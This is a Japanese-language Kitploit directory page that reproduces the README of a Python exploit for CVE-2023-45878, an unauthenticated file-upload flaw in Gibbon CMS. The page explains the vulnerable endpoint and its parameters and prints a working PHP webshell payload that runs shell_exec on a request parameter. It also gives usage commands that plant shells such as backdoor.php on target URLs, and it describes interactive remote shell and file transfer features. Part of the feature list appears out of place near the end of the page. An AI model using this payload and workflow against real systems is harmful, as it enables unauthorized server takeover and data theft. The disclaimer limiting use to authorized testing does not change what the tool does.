Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-45878 — CVE-2023-45878の自動化Pythonエクスプロイト。Gibbon CMSにおける認証なしファイルアップロード脆弱性を悪用し、PHPウェブシェルの展開によるリモートコード実行を実現。対話型シェルおよびファイル転送機能を備えています。 | Kitploit
ツール/GitHubGitHub/can0i0ever0enter/cve-2023-45878
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubcan0i0ever0enter/cve-2023-45878

CVE-2023-45878

CVE-2023-45878の自動化Pythonエクスプロイト。Gibbon CMSにおける認証なしファイルアップロード脆弱性を悪用し、PHPウェブシェルの展開によるリモートコード実行を実現。対話型シェルおよびファイル転送機能を備えています。

リポジトリを見る
31年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Gibbon CMS (CVE-2023-45878) エクスプロイト

このPythonスクリプトは、Gibbon CMS バージョン25.0.1以前における未認証の任意ファイルアップロード脆弱性 CVE-2023-45878 を悪用し、リモートコード実行(RCE)に至ります。

脆弱性の説明

CVE-2023-45878 は Gibbon CMS の rubrics_visualise_saveAjax.php エンドポイントに存在します。このエンドポイントは認証を必要とせず、任意のファイル書き込みが可能であるため脆弱です。

脆弱性は以下の点から生じます:

  • 未認証アクセス: modules/Rubrics/rubrics_visualise_saveAjax.php エンドポイントは認証なしでアクセス可能です。
  • 任意ファイル書き込み: エンドポイントは img、path、gibbonPersonID のPOSTパラメータを受け付けます。
    • img パラメータには特別な形式のデータが含まれることが期待されており、カンマ以降の部分がbase64エンコードされた文字列です。
    • path パラメータが指定された場合、アップロードファイルの保存先ファイル名として使用され、Gibbon インストールディレクトリからの相対パスとなります。
    • スクリプトは img パラメータからbase64エンコードされた内容をデコードし、path パラメータで指定されたファイルに書き込みます。
  • リモートコード実行: base64エンコードされたPHPコード(例:<?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>)を含む悪意のある img パラメータを作成し、Webサーバーからアクセス可能な .php ファイルとなる path を指定することで、攻撃者はPHPウェブシェルをアップロードし、脆弱なサーバー上でリモートコード実行を達成できます。

スクリプトの機能

このPythonスクリプトは CVE-2023-45878 のエクスプロイトを自動化します。以下のアクションを実行します:

  1. PHPウェブシェルのアップロード: modules/Rubrics/rubrics_visualise_saveAjax.php への悪意のあるPOSTリクエストを作成し、PHPウェブシェルをアップロードします。ウェブシェルのペイロードは <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?> であり、{VERIFY_TAG} はカスタマイズ可能なタグです。ペイロードはbase64エンコードされ、img パラメータ内で送信されます。
  2. シェルの検証: GETリクエストで簡単なコマンド(例:cmd=echo)を送信し、応答内で VERIFY_TAG を確認することで、アップロードされたシェルがアクセス可能で機能するかどうかを検証できます。また、--verify や --interactive オプションが使用された場合、既存のシェルがないか事前チェックも行います(存在する場合はアップロードをスキップ)。
  3. インタラクティブシェルモード: シェルがアップロードされ検証された場合(または事前チェックで見つかった場合)、スクリプトはインタラクティブモードに入ることができます。このモードの特徴は以下の通りです:
    • リモートOS(Windows/Linux)の検出により、コマンドを調整します。
    • 現在のユーザー、ホスト名、リモートのカレントワーキングディレクトリを表示する動的プロンプト(例:user@host:cwd$)。
    • cd コマンドのリモートカレントワーキングディレクトリ変更処理を組み込み。
    • クライアント側の特別なコマンド:
      • !help: インタラクティブコマンドのヘルプを表示。

使用方法

root@kitploit:~
python3 exploit.py <target_url> [options]

引数:

  • target_url: ターゲットの Gibbon CMS インスタンスのベースURL。スキームが指定されていない場合、スクリプトは http:// を先頭に追加し、末尾にスラッシュが付くようにします(例:http://example.com/gibbon または example.com/gibbon)。

オプション:

  • -s <shell_path>, --shell-path <shell_path>: アップロードするシェルのパスとファイル名を指定します(例:shell.php、uploads/shell.php)。 省略した場合、Gibbon ベースディレクトリにランダムな8文字のファイル名(拡張子 .php)が生成されます。 警告: 指定したパスが Web サーバーから書き込み可能であり、Web 経由でアクセス可能であることを確認してください。
  • -v, --verify: シェルのアップロード試行後、動作しているかどうかを検証します。このオプションは、指定された名前とタグのシェルがすでに存在するかどうかの事前チェックもトリガーし、存在する場合はアップロードがスキップされます。
  • -i, --interactive: インタラクティブシェルモードに入ります。シェルがまだ存在しない場合(事前チェックで確認)、最初にアップロードおよび検証されます。
  • -t <tag>, --tag <tag>: ウェブシェルペイロード内で検証用に使用するカスタム静的タグを指定します。デフォルト: ExploitGibbon。
  • --timeout <timeout>: HTTP リクエストのタイムアウトを秒単位で設定します。デフォルト: 20。

例:

  • Gibbon メインディレクトリ内にランダムなシェル名、デフォルトタグを使用した基本エクスプロイト:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/
    
  • エクスプロイト、Gibbon メインディレクトリにシェルファイル名 my_shell.php を指定、デフォルトタグ:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s my_shell.php
    
  • エクスプロイト、シェルファイル名 backdoor.php を uploads/ にアップロード、検証、カスタムタグを使用:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
    
  • エクスプロイト、シェルをアップロードし、デフォルトタグ、タイムアウト30秒でインタラクティブモードに入る:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
    
  • 既存のシェルでインタラクティブモードに入る(スクリプトが事前チェックで存在確認):

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
    
  • デフォルトタグで existing_shell.php という名前のシェルがアクティブかどうかのみ検証(見つからない場合はアップロードを試行):

必要条件

  • Python 3.7+ (f-strings、型ヒント、dataclasses、pathlib の使用のため)
  • requests ライブラリ: pip install requests でインストール
  • rich ライブラリ: pip install rich でインストール
  • prompt_toolkit ライブラリ(オプション、インタラクティブモード強化用): pip install prompt_toolkit でインストール

免責事項

このスクリプトは教育およびセキュリティテスト目的のみで提供されています。自己責任で使用し、明示的な許可を得たシステムに対してのみ使用してください。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。許可なく脆弱性を悪用することは違法かつ非倫理的です。

参考文献

  • NVDのCVE-2023-45878
  • Herolab Security Advisory USD-2023-0025
  • GibbonEdu Core ソース(影響を受けるバージョン v25.0.01 の rubrics_visualise_saveAjax.php)
ツールをダウンロード
  • !upload <local_path> [remote_path]: ローカルファイルをウェブシェル経由でターゲットサーバーにアップロード。
  • !download <remote_path> [local_path]: ターゲットサーバーからファイルをダウンロード。
  • !lcd <path>: ローカルのカレントワーキングディレクトリを変更。
  • !ldir [path]: ローカルのカレントワーキングディレクトリまたは指定されたパスのファイルとディレクトリを一覧表示。
  • 利用可能な場合は prompt_toolkit ライブラリを使用してコマンドライン体験を向上(履歴、編集機能の改善)、それ以外の場合は Python 組み込みの input() にフォールバック。
  • ファイル操作: インタラクティブの !upload コマンドは脆弱なエンドポイントを再利用して任意のファイルを書き込み、!download はウェブシェル経由で実行されるシステムコマンド(base64 や PowerShell の [Convert]::ToBase64String など)を使用してファイルの内容を取得します。
  • root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v